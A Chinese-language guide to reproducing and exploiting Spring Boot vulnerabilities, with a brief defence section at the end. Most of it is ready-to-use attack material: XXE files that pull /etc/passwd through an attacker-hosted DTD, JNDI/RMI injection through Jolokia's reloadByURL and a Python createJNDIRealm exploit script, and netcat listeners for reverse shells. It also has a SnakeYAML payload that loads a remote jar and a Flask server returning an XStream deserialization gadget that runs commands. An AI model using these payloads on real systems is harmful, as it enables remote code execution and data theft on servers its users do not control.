Spring Boot漏洞复现
字数 1715 2025-08-25 22:58:55

Spring Boot 漏洞复现与利用全面指南

1. 环境搭建与端点信息

1.1 环境搭建

  • 使用Maven构建Spring Boot项目
  • 启动项目后,默认会暴露多个监控端点

1.2 Spring Boot Actuator端点

Spring Boot 1.x和2.x版本的端点路径有所不同:

1.x版本端点:直接注册在根URL下
2.x版本端点:移动到/actuator/路径下

端点路径 描述
/autoconfig 提供自动配置报告,记录哪些自动配置条件通过/未通过
/beans 描述应用程序上下文里全部的Bean及其关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标
/info 获取应用程序的定制信息
/mappings 描述全部的URI路径及其与控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息
/shutdown 关闭应用程序(需设置endpoints.shutdown.enabled=true)
/trace 提供基本的HTTP请求跟踪信息

2. Jolokia漏洞利用

2.1 XXE漏洞利用

利用条件

  • 存在jolokia/list端点
  • 存在logback库提供的reloadByURL方法

利用步骤

  1. 创建恶意文件:

    • logback.xml:
      <?xml version="1.0" encoding="utf-8" ?>
      <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
      <a>&trick;</a>
      
    • fileread.dtd:
      <!ENTITY % d SYSTEM "file:///etc/passwd">
      <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
      
  2. 将文件上传到公网VPS并开启HTTP服务

  3. 发送请求触发XXE:

    http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml
    

2.2 RCE漏洞利用(通过reloadByURL方法)

利用步骤

  1. 下载并修改RMI服务代码,编译打包:

    mvn clean install
    
  2. 修改logback.xml内容:

    <configuration>
      <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
    </configuration>
    
  3. 上传RMIServer-0.1.0.jar到VPS并执行:

    java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
    
  4. 设置nc监听:

    nc -lvp 6666
    
  5. 触发漏洞:

    http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xxx.xxx.xxx.xxx!/logback.xml
    

2.3 RCE漏洞利用(通过createJNDIRealm方法)

利用条件

  • 存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法

利用步骤

  1. 使用Python脚本发送请求:

    import requests as req
    import sys
    from pprint import pprint
    
    url = sys.argv[1] + "/jolokia/"
    
    # 创建JNDIRealm
    create_JNDIrealm = {
        "mbean": "Tomcat:type=MBeanFactory",
        "type": "EXEC",
        "operation": "createJNDIRealm",
        "arguments": ["Tomcat:type=Engine"]
    }
    
    # 设置contextFactory
    set_contextFactory = {
        "mbean": "Tomcat:realmPath=/realm0,type=Realm",
        "type": "WRITE",
        "attribute": "contextFactory",
        "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
    }
    
    # 设置connectionURL
    set_connectionURL = {
        "mbean": "Tomcat:realmPath=/realm0,type=Realm",
        "type": "WRITE",
        "attribute": "connectionURL",
        "value": "rmi://x.x.x.x:1097/jndi"
    }
    
    # 停止Realm
    stop_JNDIrealm = {
        "mbean": "Tomcat:realmPath=/realm0,type=Realm",
        "type": "EXEC",
        "operation": "stop",
        "arguments": []
    }
    
    # 启动Realm,触发JNDI注入
    start = {
        "mbean": "Tomcat:realmPath=/realm0,type=Realm",
        "type": "EXEC",
        "operation": "start",
        "arguments": []
    }
    
    expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
    
    for i in expoloit:
        rep = req.post(url, json=i)
        pprint(rep.json())
    
  2. 运行RMI服务:

    java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
    
  3. 设置nc监听:

    nc -lvp 6666
    
  4. 执行Python脚本:

    python exp.py http://127.0.0.1:8090
    

3. env端点利用

3.1 敏感信息泄露

  • 访问/env端点可获取敏感环境属性
  • 当Spring Cloud Libraries存在时,/env端点允许修改Spring环境属性

3.2 修改属性实现RCE

  1. 修改eureka.client.serviceUrl.defaultZone属性
  2. 发送/refresh请求使修改生效
  3. 通过base64解码获取敏感信息

3.3 Spring Cloud env yaml利用

利用条件

  • Spring Boot <= 1.4.x 或 1.5.x (Dalston版本)
  • 存在spring.cloud.bootstrap.location属性

利用步骤

  1. 下载并编译yaml-payload:

    git clone https://github.com/artsploit/yaml-payload
    javac src/artsploit/AwesomeScriptEngineFactory.java
    jar -cvf yaml-payload.jar -C src/ .
    
  2. 创建恶意yaml文件:

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://xxx.xxx.xxx.xxx:8000/yaml-payload.jar"]
      ]]
    ]
    
  3. 修改spring.cloud.bootstrap.location为外部yaml文件地址

  4. 请求/refresh接口触发漏洞

4. XStream反序列化漏洞

利用条件

  • Eureka-Client <1.8.7 (常见于Spring Cloud Netflix)

利用步骤

  1. 创建Flask服务返回恶意XML:

    from flask import Flask, Response
    
    app = Flask(__name__)
    
    @app.route('/', defaults={'path': ''})
    @app.route('/<path:path>', methods = ['GET', 'POST'])
    def catch_all(path):
        xml = """<linked-hash-set>
        <jdk.nashorn.internal.objects.NativeString>
        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
        <is class="javax.crypto.CipherInputStream">
        <cipher class="javax.crypto.NullCipher">
        <serviceIterator class="javax.imageio.spi.FilterIterator">
        <iter class="javax.imageio.spi.FilterIterator">
        <iter class="java.util.Collections$EmptyIterator"/>
        <next class="java.lang.ProcessBuilder">
        <command>
        <string>命令</string>
        </command>
        <redirectErrorStream>false</redirectErrorStream>
        </next>
        </iter>
        <filter class="javax.imageio.ImageIO$ContainsFilter">
        <method>
        <class>java.lang.ProcessBuilder</class>
        <name>start</name>
        <parameter-types/>
        </method>
        <name>foo</name>
        </filter>
        <next>foo</next>
        </serviceIterator>
        <lock/>
        </cipher>
        <input class="java.lang.ProcessBuilder$NullInputStream"/>
        <ibuffer></ibuffer>
        </is>
        </dataSource>
        </dataHandler>
        </value>
        </jdk.nashorn.internal.objects.NativeString></linked-hash-set>"""
        return Response(xml, mimetype='application/xml')
    
    if __name__ == '__main__':
        app.run()
    
  2. 启动Flask服务:

    python3 flask_xstream.py
    
  3. 写入配置并刷新触发漏洞

5. 防御建议

  1. 禁用不必要的Actuator端点:

    management.endpoints.web.exposure.include=health,info
    
  2. 限制Actuator端点的访问权限

  3. 升级Spring Boot和相关组件到最新版本

  4. 禁用Jolokia或限制其访问

  5. 避免在生产环境使用Spring Cloud的/refresh端点

  6. 对输入进行严格验证和过滤

  7. 使用安全的配置管理方式

Spring Boot 漏洞复现与利用全面指南 1. 环境搭建与端点信息 1.1 环境搭建 使用Maven构建Spring Boot项目 启动项目后,默认会暴露多个监控端点 1.2 Spring Boot Actuator端点 Spring Boot 1.x和2.x版本的端点路径有所不同: 1.x版本端点 :直接注册在根URL下 2.x版本端点 :移动到 /actuator/ 路径下 | 端点路径 | 描述 | |---------|------| | /autoconfig | 提供自动配置报告,记录哪些自动配置条件通过/未通过 | | /beans | 描述应用程序上下文里全部的Bean及其关系 | | /env | 获取全部环境属性 | | /configprops | 描述配置属性(包含默认值)如何注入Bean | | /dump | 获取线程活动的快照 | | /health | 报告应用程序的健康指标 | | /info | 获取应用程序的定制信息 | | /mappings | 描述全部的URI路径及其与控制器(包含Actuator端点)的映射关系 | | /metrics | 报告各种应用程序度量信息 | | /shutdown | 关闭应用程序(需设置 endpoints.shutdown.enabled=true ) | | /trace | 提供基本的HTTP请求跟踪信息 | 2. Jolokia漏洞利用 2.1 XXE漏洞利用 利用条件 : 存在 jolokia/list 端点 存在logback库提供的 reloadByURL 方法 利用步骤 : 创建恶意文件: logback.xml : fileread.dtd : 将文件上传到公网VPS并开启HTTP服务 发送请求触发XXE: 2.2 RCE漏洞利用(通过reloadByURL方法) 利用步骤 : 下载并修改RMI服务代码,编译打包: 修改 logback.xml 内容: 上传 RMIServer-0.1.0.jar 到VPS并执行: 设置nc监听: 触发漏洞: 2.3 RCE漏洞利用(通过createJNDIRealm方法) 利用条件 : 存在 org.apache.catalina.mbeans.MBeanFactory 类提供的 createJNDIRealm 方法 利用步骤 : 使用Python脚本发送请求: 运行RMI服务: 设置nc监听: 执行Python脚本: 3. env端点利用 3.1 敏感信息泄露 访问 /env 端点可获取敏感环境属性 当Spring Cloud Libraries存在时, /env 端点允许修改Spring环境属性 3.2 修改属性实现RCE 修改 eureka.client.serviceUrl.defaultZone 属性 发送 /refresh 请求使修改生效 通过base64解码获取敏感信息 3.3 Spring Cloud env yaml利用 利用条件 : Spring Boot <= 1.4.x 或 1.5.x (Dalston版本) 存在 spring.cloud.bootstrap.location 属性 利用步骤 : 下载并编译yaml-payload: 创建恶意yaml文件: 修改 spring.cloud.bootstrap.location 为外部yaml文件地址 请求 /refresh 接口触发漏洞 4. XStream反序列化漏洞 利用条件 : Eureka-Client <1.8.7 (常见于Spring Cloud Netflix) 利用步骤 : 创建Flask服务返回恶意XML: 启动Flask服务: 写入配置并刷新触发漏洞 5. 防御建议 禁用不必要的Actuator端点: 限制Actuator端点的访问权限 升级Spring Boot和相关组件到最新版本 禁用Jolokia或限制其访问 避免在生产环境使用Spring Cloud的 /refresh 端点 对输入进行严格验证和过滤 使用安全的配置管理方式